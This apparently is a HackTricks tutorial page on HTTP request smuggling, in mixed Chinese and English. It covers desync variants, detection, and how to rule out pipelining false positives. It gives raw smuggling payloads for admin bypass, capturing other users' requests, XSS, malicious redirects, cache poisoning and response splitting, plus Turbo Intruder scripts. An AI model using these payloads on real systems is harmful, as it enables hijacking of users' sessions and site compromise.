HTTP Request Smuggling / HTTP Desync Attack
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。
What is
当 front-end proxies 与 back-end server 之间发生 desyncronization 时,就会出现这个漏洞:attacker 可以 send 一个 HTTP request,它会被 front-end proxies(load balance/reverse-proxy)interpreted 为一个 single request,但会被 back-end server interpreted as 2 request。
这使得用户能够 modify 紧随其后到达 back-end server 的下一个 request。
Theory
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
Reality
Front-End(load-balance / Reverse Proxy)process content-length 或 transfer-encoding header,而 Back-end server process the other 一个,从而在两个系统之间造成 desyncronization。
这可能非常严重,因为 attacker will be able to send one request 到 reverse proxy,而它会被 back-end server interpreted 为 2 different requests。该技巧的 danger 在于 back-end server 会把注入的 2nd request 解释成来自下一个 client,而该 client 的 real request 会成为 injected request 的一部分。
Particularities
记住在 HTTP 中 a new line character is composed by 2 bytes:
- Content-Length: This header uses a decimal number to indicate the number of bytes of the body of the request. The body is expected to end in the last character, a new line is not needed in the end of the request.
- Transfer-Encoding: This header uses in the body an hexadecimal number to indicate the number of bytes of the next chunk. The chunk must end with a new line but this new line isn’t counted by the length indicator. This transfer method must end with a chunk of size 0 followed by 2 new lines:
0 - Connection: Based on my experience it’s recommended to use
Connection: keep-aliveon the first request of the request Smuggling.
Visible - Hidden
http/1.1 的主要问题是所有 request 都会走同一个 TCP socket,因此如果接收 request 的两个系统之间发现不一致,就有可能把一个 request 作为两个不同的 request(甚至更多)交给最终 backend(或者中间系统)。
This blog post 提出了检测不会被 WAF 标记的 desync attacks 的新方法。为此它介绍了 Visible vs Hidden 行为。这里的目标是尝试通过不会真正利用漏洞的技术,去寻找 response 中的不一致。
例如,发送一个带有正常 host header 和一个 “ host“ header 的 request,如果 backend 抱怨这个 request(可能因为 “ host“ 的值不正确),这可能意味着 front-end 没有看到 “ host“ header,而最终 backend 却使用了它,这很可能表明 front-end 与 backend 之间存在 desync。
这将是一个 Hidden-Visible discrepancy。
如果 front-end 会考虑 “ host“ header,但 front-end 没有,这就可能是 Visible-Hidden 情况。
例如,这使得可以发现 AWS ALB 作为 front-end、IIS 作为 backend 的 desync。这是因为当发送 “Host: foo/bar” 时,ALB 返回 400, Server; awselb/2.0,但当发送 “Host : foo/bar” 时,它返回 400, Server: Microsoft-HTTPAPI/2.0,这表明 response 是 backend 发出的。这是一个 Hidden-Vissible (H-V) 情况。
注意,这种情况在 AWS 中没有修复,但可以通过设置 routing.http.drop_invalid_header_fields.enabled 和 routing.http.desync_mitigation_mode = strictest 来防止。
Basic Examples
Tip
When trying to exploit this with Burp Suite disable
Update Content-LengthandNormalize HTTP/1 line endingsin the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the Content-Length (CL) and Transfer-Encoding (TE) headers. These attacks can manifest in different forms, primarily as CL.TE, TE.CL, and TE.TE. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.
Basic Examples of Vulnerability Types

Tip
To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL): Processes the request based on the
Content-Lengthheader. -
Back-End (TE): Processes the request based on the
Transfer-Encodingheader. -
Attack Scenario:
-
The attacker sends a request where the
Content-Lengthheader’s value does not match the actual content length. -
The front-end server forwards the entire request to the back-end, based on the
Content-Lengthvalue. -
The back-end server processes the request as chunked due to the
Transfer-Encoding: chunkedheader, interpreting the remaining data as a separate, subsequent request. -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE): Processes the request based on the
Transfer-Encodingheader. -
Back-End (CL): Processes the request based on the
Content-Lengthheader. -
Attack Scenario:
-
The attacker sends a chunked request where the chunk size (
7b) and actual content length (Content-Length: 4) do not align. -
The front-end server, honoring
Transfer-Encoding, forwards the entire request to the back-end. -
The back-end server, respecting
Content-Length, processes only the initial part of the request (7bbytes), leaving the rest as part of an unintended subsequent request. -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Servers: Both support
Transfer-Encoding, but one can be tricked into ignoring it via obfuscation. -
Attack Scenario:
-
The attacker sends a request with obfuscated
Transfer-Encodingheaders. -
Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.
-
The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- Both servers process the request based solely on the
Content-Lengthheader. - This scenario typically does not lead to smuggling, as there’s alignment in how both servers interpret the request length.
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
- Refers to scenarios where the
Content-Lengthheader is present and has a value other than zero, indicating that the request body has content. The back-end ignores theContent-Lengthheader (which is treated as 0), but the front-end parses it. - It’s crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- Like the previous one but using TE
- Technique reported here
- Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL 场景
在 0.CL 情况下,会发送一个带有 Content-Length 的请求,例如:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
并且 front-end 不考虑 Content-Length,所以它只把第一个 request 发送到 backend(直到示例中的 7)。然而,backend 看到了 Content-Length,并等待一个永远不会到达的 body,因为 front-end 已经在等待 response 了。
不过,如果存在一种可以发送到 backend 的 request,并且它会在接收完 request body 之前就得到 response,那么这个 deadlock 就不会发生。比如在 IIS 中,发送到 forbidden words 的 requests 会出现这种情况,比如 /con(查看 documentation),这样一来,初始 request 会直接得到 response,而第二个 request 就会包含 victim 的 request,例如:
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
这有助于造成 desync,但到目前为止不会产生任何影响。
不过,这篇文章通过将 0.CL attack 转换为带有 double desync 的 CL.0 提供了一个解决方案。
破坏 web server
这种技术在另一种场景下也很有用:即可以在读取初始 HTTP 数据时破坏 web server,但不会关闭连接。这样,HTTP 请求的body 会被视为下一个 HTTP request。
例如,正如 这篇 writeup 中所解释的,在 Werkzeug 中可以发送一些 Unicode 字符,从而让 server break。然而,如果 HTTP connection 通过 Connection: keep-alive header 创建,那么请求的 body 就不会被读取,而且 connection 仍会保持打开,因此请求的 body 会被当作下一个 HTTP request 来处理。
通过 hop-by-hop headers 强制实现
滥用 hop-by-hop headers,你可以指示 proxy 删除 header Content-Length 或 Transfer-Encoding,这样就可能利用 HTTP request smuggling。
Connection: Content-Length
For more information about hop-by-hop headers visit:
Finding HTTP Request Smuggling
识别 HTTP Request Smuggling 漏洞通常可以通过 timing 技术实现,这些技术依赖于观察服务器响应被篡改请求所花费的时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞特别有用。除了这些方法之外,还可以使用其他策略和工具来发现此类漏洞:
Finding CL.TE Vulnerabilities Using Timing Techniques
-
Method:
-
发送一个如果应用存在漏洞就会使 back-end server 等待额外数据的请求。
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observation:
-
front-end server 基于
Content-Length处理请求,并过早截断消息。 -
back-end server 期望一个 chunked 消息,因此会等待下一个永远不会到达的 chunk,导致延迟。
-
Indicators:
-
响应超时或长时间延迟。
-
从 back-end server 收到 400 Bad Request 错误,有时还会包含详细的 server 信息。
Finding TE.CL Vulnerabilities Using Timing Techniques
-
Method:
-
发送一个如果应用存在漏洞就会使 back-end server 等待额外数据的请求。
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observation:
- front-end server 基于
Transfer-Encoding处理请求并转发整个消息。 - back-end server 期望一个基于
Content-Length的消息,因此会等待永远不会到达的额外数据,导致延迟。
Other Methods to Find Vulnerabilities
- Differential Response Analysis:
- 发送略有不同版本的请求,并观察服务器响应是否以意外方式不同,这表明存在 parsing 差异。
- Using Automated Tools:
- 像 Burp Suite 的 ‘HTTP Request Smuggler’ extension 这样的工具可以通过发送各种形式的模糊请求并分析响应,自动测试这些漏洞。
- Content-Length Variance Tests:
- 发送
Content-Length值与实际内容长度不一致的请求,并观察服务器如何处理这种不匹配。 - Transfer-Encoding Variance Tests:
- 发送带有混淆或格式错误的
Transfer-Encodingheaders,并监控 front-end 和 back-end servers 对这些操作的不同响应。
The Expect: 100-continue header
Check how this header can help exploiting a http desync in:
HTTP Request Smuggling Vulnerability Testing
在确认 timing 技术有效后,关键是验证 client requests 是否可以被操纵。一个直接的方法是尝试 poisoning 你的请求,例如让对 / 的请求返回 404 响应。前面在 Basic Examples 中讨论的 CL.TE 和 TE.CL 示例演示了如何 poisoning client 的请求以触发 404 响应,尽管 client 的目标是访问不同的资源。
Key Considerations
当通过干扰其他 requests 来测试 request smuggling 漏洞时,请记住:
- Distinct Network Connections: “attack” 和 “normal” 请求应通过独立的 network connections 发送。对两者使用同一个 connection 并不能验证漏洞是否存在。
- Consistent URL and Parameters: 尽量为两个请求使用相同的 URLs 和 parameter names。现代应用通常会根据 URL 和 parameters 将请求路由到特定的 back-end servers。保持一致能提高两个请求被同一 server 处理的可能性,这是攻击成功的前提。
- Timing and Racing Conditions: 用于检测 “attack” 请求干扰的 “normal” 请求,会与其他并发的 application requests 竞争。因此,请在发送 “attack” 请求后立即发送 “normal” 请求。繁忙的应用可能需要多次尝试才能最终确认漏洞。
- Load Balancing Challenges: 作为 load balancers 的 front-end servers 可能会将请求分配到不同的 back-end systems。如果 “attack” 和 “normal” 请求最终落到不同的 systems 上,攻击就不会成功。这种 load balancing 方面的问题可能需要多次尝试才能确认漏洞。
- Unintended User Impact: 如果你的攻击无意中影响了其他 user’s request(而不是你用于检测发送的 “normal” 请求),这表明你的攻击影响了其他 application user。持续测试可能会干扰其他 users,因此必须谨慎操作。
Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
Connection reuse (keep-alive) 和 pipelining 很容易在测试工具中制造出 “smuggling” 的假象,这些工具会在同一个 socket 上发送多个 requests。要学会区分无害的 client-side artifacts 和真实的 server-side desync。
Why pipelining creates classic false positives
HTTP/1.1 会复用单个 TCP/TLS connection,并在同一 stream 上串联 requests 和 responses。在 pipelining 中,client 会连续发送多个 requests,并依赖按顺序返回的 responses。一个常见的 false-positive 是在单个 connection 上连续两次重新发送一个格式错误的 CL.0-style payload:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Responses may look like:
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
如果服务器忽略了格式错误的 Content_Length,就不会有 FE↔BE desync。使用 reuse 时,你的 client 实际发送了这段 byte-stream,而 server 将其解析为两个独立的 requests:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
影响:无。你只是让你的 client 与 server 的 framing 失去同步了。
Tip
依赖 reuse/pipelining 的 Burp modules:Turbo Intruder with
requestsPerConnection>1,Intruder with “HTTP/1 connection reuse”,Repeater “Send group in sequence (single connection)” 或 “Enable connection reuse”。
Litmus tests: pipelining or real desync?
- Disable reuse and re-test
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid “Send group in sequence”。
- In Turbo Intruder, set
requestsPerConnection=1andpipeline=False。 - If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
- HTTP/2 nested-response check
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
- Partial-requests probe for connection-locked front-ends
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- See PortSwigger “Browser‑Powered Desync Attacks” for the connection-locked technique.
- State probes
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
- Burp “HTTP Request Smuggler” includes a connection‑state probe that automates this.
- Visualize the wire
- Use the Burp “HTTP Hacker” extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
Connection‑locked request smuggling (reuse-required)
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Operator workflow
- Reproduce with controlled reuse (Turbo Intruder
requestsPerConnection=2, or Burp Repeater tab group → “Send group in sequence (single connection)”). - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Client‑side desync constraints
If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
For background and end-to-end workflows:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
- “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precise control over connection reuse via
requestsPerConnection. - Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
Note
Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
在 CL.TE 攻击中,Content-Length header 被用于初始 request,而后续嵌入的 request 使用 Transfer-Encoding: chunked header。前端 proxy 处理初始 POST request,但未能检查嵌入的 GET /admin request,从而允许未授权访问 /admin path。
TE.CL Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
相反,在 TE.CL 攻击中,初始 POST 请求使用 Transfer-Encoding: chunked,而后续嵌入的请求则根据 Content-Length header 进行处理。与 CL.TE 攻击类似,front-end proxy 会忽略被 smuggle 的 GET /admin 请求,从而意外地授予对受限 /admin 路径的访问权限。
揭示 front-end request rewriting
Applications 经常使用一个 front-end server 在将 incoming requests 传递给 back-end server 之前对其进行修改。一个典型的修改是添加 headers,例如 X-Forwarded-For: <IP of the client>,以便将 client 的 IP 传递给 back-end。理解这些修改非常关键,因为它可能揭示 bypass protections 或 uncover concealed information or endpoints 的方法。
要调查 proxy 如何更改 request,请找到一个 back-end 会在 response 中回显的 POST parameter。然后,使用这个 parameter 放在最后,构造一个 request,类似如下:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
在这种结构中,后续 request components 会被追加到 search= 后面,而 search 是 response 中被反映的 parameter。这个 reflection 会暴露后续 request 的 headers。
重要的是要让 nested request 的 Content-Length header 与实际 content length 对齐。建议从一个较小的值开始并逐步增加,因为值过小会截断 reflected data,而值过大会导致 request 出错。
这种 technique 也适用于 TE.CL vulnerability 的场景,但 request 应以 search=\r\n0 结尾。无论 newline characters 如何,values 都会追加到 search parameter。
这种方法主要用于理解 front-end proxy 所做的 request modifications,本质上是在进行一次自我引导的 investigation。
Capturing other users’ requests
通过在 POST operation 中将一个特定 request 作为 parameter 的 value 追加进去,就有可能 capture 下一个 user 的 requests。可以这样做:
通过将以下 request 作为 parameter 的 value 追加,你可以存储后续 client 的 request:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
在这个场景中,comment parameter 用于存储公开可访问页面上帖子评论区内的内容。因此,后续请求的内容会显示为一条评论。
不过,这种 technique 有一些限制。一般来说,它只能捕获 smuggled request 中使用的 parameter delimiter 之前的数据。对于 URL-encoded form submissions,这个 delimiter 是 & 字符。这意味着,从受害用户请求中捕获的内容会在第一个 & 处停止,而这个 & 甚至可能是 query string 的一部分。
另外,值得注意的是,这种方法同样适用于 TE.CL vulnerability。在这种情况下,请求应以 search=\r\n0 结尾。无论 newline characters 如何,值都会被附加到 search parameter。
Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling 可以被用来利用存在 Reflected XSS 的网页,并带来显著优势:
- 不需要与目标用户进行 interaction。
- 允许利用通常 无法触达 的请求部分中的 XSS,例如 HTTP request headers。
在网站通过 User-Agent header 受到 Reflected XSS 影响的场景中,以下 payload 演示了如何利用这个漏洞:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
这个 payload 的结构旨在通过以下方式利用漏洞:
- 发起一个看似正常的
POST请求,并带上Transfer-Encoding: chunked头来表示开始 smuggling。 - 随后跟随一个
0,标记 chunked message body 的结束。 - 然后引入一个被 smuggled 的
GET请求,其中User-Agent头被注入了一个脚本<script>alert(1)</script>,当 server 处理这个后续请求时触发 XSS。
通过 smuggling 操作 User-Agent,payload 绕过了正常的 request 限制,从而以一种非标准但有效的方式利用了 Reflected XSS 漏洞。
HTTP/0.9
Caution
如果 user content 在响应中被反射出来,并且带有
Content-type例如text/plain,就会阻止 XSS 的执行。如果 server support HTTP/0.9,这时可能可以绕过这个限制!
HTTP/0.9 版本早于 1.0,只使用 GET verbs,且不会返回 headers,只有 body。
在 this writeup 中,这一技巧被用于 request smuggling,并结合一个会回显 user 输入的 vulnerable endpoint 来通过 HTTP/0.9 smuggle 一个 request。响应中被反射的参数包含一个伪造的 HTTP/1.1 response(带 headers 和 body),因此响应会包含有效且可执行的 JS code,并且 Content-Type 为 text/html。
Exploiting On-site Redirects with HTTP Request Smuggling
Applications often redirect from one URL to another by using the hostname from the Host header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
GET /home HTTP/1.1
Host: normal-website.com
结果:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
尽管看起来无害,但这种行为可以被利用 HTTP request smuggling 来将用户重定向到外部站点。例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
这个 smuggled request 可能会导致下一个被处理的 user request 被重定向到攻击者控制的网站:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
结果:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
在这种场景中,用户对一个 JavaScript file 的请求被劫持。攻击者可能通过返回 malicious JavaScript 来 compromise 用户。
通过 HTTP Request Smuggling 利用 Web Cache Poisoning
如果 front-end infrastructure 的任何组件会缓存内容,通常用于提升性能,就可以执行 Web cache poisoning。通过操控 server 的响应,可以 poison the cache。
前面我们已经看到,server responses 可以被修改为返回 404 error(参见 Basic Examples)。同样,也可以诱使 server 在响应对 /static/include.js 的请求时返回 /index.html 的内容。结果就是,/static/include.js 的内容会在 cache 中被 /index.html 的内容替换,导致用户无法访问 /static/include.js,这可能进一步引发 Denial of Service (DoS)。
如果发现了 Open Redirect vulnerability,或者存在 on-site redirect to an open redirect,这种技术就会变得特别强大。这类漏洞可被利用,将 /static/include.js 的缓存内容替换为攻击者控制的 script,从而实质上对所有请求更新后的 /static/include.js 的 client 发起大范围的 Cross-Site Scripting (XSS) attack。
下面是一个利用 cache poisoning 结合 on-site redirect to open redirect 的示意图。目标是将 /static/include.js 的 cache content 篡改为由攻击者控制的 JavaScript code:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
注意嵌入的请求目标为 /post/next?postId=3。该请求会被重定向到 /post?postId=4,并使用 Host header value 来确定域名。通过更改 Host header,攻击者可以将请求重定向到自己的域名(on-site redirect to open redirect)。
在成功进行 socket poisoning 之后,应发起一个针对 /static/include.js 的 GET request。这个请求会被前一个 on-site redirect to open redirect 请求污染,并获取由攻击者控制的脚本内容。
随后,任何对 /static/include.js 的请求都会返回攻击者脚本的缓存内容,从而有效发起一次广泛的 XSS 攻击。
使用 HTTP request smuggling 执行 web cache deception
web cache poisoning 和 web cache deception 有什么区别?
- 在 web cache poisoning 中,攻击者诱使应用将某些恶意内容存入缓存,并将这些内容从缓存中提供给其他应用用户。
- 在 web cache deception 中,攻击者诱使应用将属于其他用户的某些敏感内容存入缓存,然后攻击者再从缓存中检索这些内容。
攻击者构造一个 smuggled request 来获取敏感的用户特定内容。请看以下示例:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
如果这个 smuggled request 毒化了一个用于静态内容的 cache entry(例如 /someimage.png),受害者来自 /private/messages 的敏感数据可能会被缓存到该静态内容的 cache entry 下。因此,攻击者可能会取回这些已缓存的敏感数据。
通过 HTTP Request Smuggling 滥用 TRACE
在这篇文章中 提到,如果服务器启用了 TRACE method,那么可能可以通过 HTTP Request Smuggling 来滥用它。这是因为这个 method 会将发送到服务器的任何 header 作为 response body 的一部分反射回来。例如:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
会发送类似如下的响应:
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
一个利用这种行为的示例是先smuggle 一个 HEAD request。这个 request 只会收到 GET request 的headers(其中包括 Content-Type)。然后紧接着在 HEAD 后面 smuggle 一个 TRACE request,它会反射发送的数据。
由于 HEAD response 会包含一个 Content-Length header,TRACE request 的 response 会被当作 HEAD response 的 body,因此可以在 response 中反射任意数据。
这个 response 会被发送给同一连接上的下一个 request,所以例如可以用于缓存的 JS file 中注入任意 JS code。
通过 HTTP Response Splitting 滥用 TRACE
继续参考 this post,这里建议了另一种滥用 TRACE method 的方式。如前所述,smuggle 一个 HEAD request 和一个 TRACE request,便可以控制 response 中某些被反射的数据。HEAD request 的 body 长度基本上由 Content-Length header 指定,并由 TRACE response 构成。
因此,新的思路是:已知这个 Content-Length 以及 TRACE response 中给出的数据,就可以让 TRACE response 在 Content-Length 的最后一个字节之后包含一个有效的 HTTP response,从而允许攻击者完全控制下一个 response 的 request(这可用于执行 cache poisoning)。
Example:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
将生成这些响应(注意 HEAD 响应有一个 Content-Length,使 TRACE 响应成为 HEAD body 的一部分,并且当 HEAD Content-Length 结束时,一个有效的 HTTP response 被 smuggled):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
利用 HTTP Response Desynchronisation 武器化 HTTP Request Smuggling
你发现了某个 HTTP Request Smuggling 漏洞,但不知道如何利用它。可以试试这些其他利用方法:
HTTP Response Smuggling / Desync
其他 HTTP Request Smuggling 技术
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
来自 https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
来自: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
